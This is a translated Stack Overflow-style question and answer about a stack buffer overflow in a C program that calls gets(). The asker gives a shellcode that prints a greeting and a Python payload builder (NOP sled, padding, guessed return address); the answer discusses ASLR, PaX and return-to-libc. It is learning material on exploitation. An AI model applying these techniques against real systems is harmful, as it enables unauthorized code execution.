【问题标题】:Buffer overflow assistance缓冲区溢出帮助
【发布时间】:2016-02-16 05:10:03
【问题描述】:

我正在寻求一些帮助来解决以下问题:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{char buffer[70];
gets(buffer);}

我知道这很容易受到缓冲区溢出的影响。它需要 92 个“A”,然后接下来的 4 个字符会覆盖 eip。我有一个 shellcode,我发现它只是打印“hello world”,而这就是我真正需要做的。

"\xe9\x1e\x00\x00\x00"
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\x59"
"\xba\x0f\x00\x00\x00"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xdd\xff\xff\xff"
"\x48\x65\x6c\x6c\x6f\x2c\x20\x57"
"\x6f\x72\x6c\x64\x21\x0d\x0a"

这样就剩下 37 个字节用于 NOP 雪橇和任何填充。

(32 nop + 55 shell + 5 "A"s + 4 指针) = 96

我遇到的问题是获取指针的地址。我似乎无法理解这部分的工作原理。

如果我的任何想法有误,请告诉我,我们将不胜感激。

这是我目前使用的 Python:

shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a"
nop = "\x90"*32
padding = "A"*(92 - 32 - 55) 
pointer = '\x48\xea\x90\xbf'

print nop + shell + padding + pointer

【问题讨论】:

    标签: c buffer-overflow exploit


    【解决方案1】:

    除非您有办法找出正确的偏移量(另一个漏洞),否则您不会知道正确的值。默认情况下,堆栈会稍微随机化,使用 PAX 会更糟。

    你总是可以用一个潜在的地址做很多次,并希望最好。或者,如果您可以在加载的库中的某处找到正确的指令,并且二进制文件未使用 PIE 编译,您可以尝试跳转到 libc。

    【讨论】:

      猜你喜欢
      • 2011-02-14
      • 2016-03-24
      • 2015-12-16
      • 1970-01-01
      • 2010-11-11
      • 1970-01-01
      • 2013-11-06
      • 2013-04-11
      • 2015-07-07
      相关资源
      最近更新 更多